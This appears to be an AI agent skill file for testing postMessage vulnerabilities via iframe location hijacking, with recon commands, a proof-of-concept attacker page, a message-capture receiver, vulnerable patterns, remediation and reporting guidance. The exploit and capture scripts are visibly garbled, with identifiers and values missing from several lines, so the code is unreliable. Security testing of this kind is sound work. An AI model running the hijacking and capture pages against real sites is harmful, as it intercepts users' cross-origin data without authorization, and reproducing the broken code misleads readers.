| name | postmessage-iframe-exploit |
| description | Security testing skill for detecting and exploiting postMessage vulnerabilities through iframe location manipulation. Use this skill when testing web applications for postMessage security issues, when you need to check if nested iframes can be hijacked, when auditing cross-origin communication, or when investigating potential data exfiltration through postMessage. Trigger this skill for any pentesting task involving postMessage, iframe security, cross-origin communication vulnerabilities, or when the user mentions testing for message hijacking, iframe location manipulation, or wildcard postMessage receivers. |
PostMessage Iframe Location Exploit Testing
This skill helps security testers identify and validate postMessage vulnerabilities where an attacker can hijack iframe locations to intercept sensitive data.
Vulnerability Overview
This attack works when:
- A parent page can be iframed (no X-Frame-Options or X-Frame-Options: SAMEORIGIN)
- The parent page contains nested iframes
- The page uses
postMessage with wildcard (*) or overly permissive target origins
- The attacker can manipulate
frames[].location to redirect iframe content
When to Use This Skill
Use this skill when:
- Testing web applications for postMessage security vulnerabilities
- Auditing cross-origin communication patterns
- Investigating potential data exfiltration vectors
- Performing authorized penetration testing on web applications
- Reviewing iframe implementations for security issues
Testing Methodology
Step 1: Reconnaissance
Identify potential targets:
curl -I https://target-site.com | grep -i x-frame-options
curl -I https://target-site.com | grep -i content-security-policy
If no X-Frame-Options header exists, the page may be iframeable.
Step 2: Identify Nested Iframes
Look for pages that:
- Embed third-party content (Google Docs, Sheets, external widgets)
- Use iframes for cross-origin communication
- Implement postMessage for data exchange
document.querySelectorAll('iframe').forEach((frame, i) => {
console.log(`Frame ${i}:`, frame.src);
});
Step 3: Detect Wildcard postMessage Usage
Search the page source for postMessage patterns:
grep -r 'postMessage.*\*' /path/to/page-source/
grep -r 'postMessage.*"\*"' /path/to/page-source/
Step 4: Test Iframe Location Manipulation
Create a test page to attempt the exploit:
<!DOCTYPE html>
<html>
<head>
<title>PostMessage Iframe Test</title>
</head>
<body>
<h1>PostMessage Iframe Location Test</h1>
<iframe id="target-frame" src="https://target-site.com/page-with-iframe"></iframe>
<script>
function attemptIframeManipulation() {
const frames = window.frames;
for (let i = 0; i < frames.length; i++) {
try {
const frame = frames[i];
console.log(`Testing frame ${i}:`, frame.location.href);
if (frame.frames && frame.. > ) {
( j = ; j < frame..; j++) {
{
frame.[j]. = ;
.();
} (e) {
.(, e.);
}
}
}
} (e) {
.(, e.);
}
}
}
(attemptIframeManipulation, );
(attemptIframeManipulation, );
Step 5: Capture PostMessage Data
If the location manipulation succeeds, set up a receiver:
<!DOCTYPE html>
<html>
<head>
<title>PostMessage Capture</title>
</head>
<body>
<h1>Captured Messages</h1>
<div id="messages"></div>
<script>
window.addEventListener('message', function(event) {
const messageData = {
origin: event.origin,
source: event.source ? 'iframe' : 'window',
data: event.data,
timestamp: new Date().toISOString()
};
console.log('Captured message:', messageData);
const div = document.createElement('div');
div. = ;
.().(div);
});
Common Vulnerable Patterns
Pattern 1: Wildcard Target Origin
window.parent.postMessage(data, '*');
window.parent.postMessage(data, 'https://trusted-origin.com');
Pattern 2: Missing Origin Validation
window.addEventListener('message', function(event) {
processSensitiveData(event.data);
});
window.addEventListener('message', function(event) {
if (event.origin !== 'https://trusted-origin.com') {
return;
}
processSensitiveData(event.data);
});
Pattern 3: Iframeable Pages with Nested Iframes
<html>
<body>
<iframe src="https://third-party.com/widget"></iframe>
<script>
window.frames[0].postMessage(sensitiveData, '*');
</script>
</body>
</html>
Remediation Recommendations
For Developers
-
Set X-Frame-Options header
X-Frame-Options: DENY
# or
X-Frame-Options: SAMEORIGIN
-
Use Content-Security-Policy
Content-Security-Policy: frame-ancestors 'self';
-
Specify exact postMessage origins
window.parent.postMessage(data, 'https://specific-trusted-origin.com');
-
Validate message origins
window.addEventListener('message', function(event) {
if (event.origin !== 'https://expected-origin.com') {
return;
}
});
-
Use frame-busting scripts
if (window.top !== window.self) {
window.top.location = window.location;
}
Reporting Findings
When documenting this vulnerability:
-
Severity: High (potential for data exfiltration)
-
CVSS Factors:
- Attack Vector: Network
- Attack Complexity: Low (if conditions met)
- Privileges Required: None
- User Interaction: None (automated)
- Confidentiality: High impact
- Integrity: Medium impact
- Availability: Low impact
-
Proof of Concept: Include the test page that demonstrates the exploit
-
Impact: Describe what data could be exfiltrated
-
Remediation: Provide the recommendations above
Safety and Ethics
⚠️ IMPORTANT: Only use this skill for:
- Authorized security testing on systems you own or have explicit permission to test
- Educational purposes in controlled environments
- Bug bounty programs where this vulnerability type is in scope
Do not use this technique on:
- Systems without explicit authorization
- Production systems without proper testing procedures
- Third-party applications without permission
References
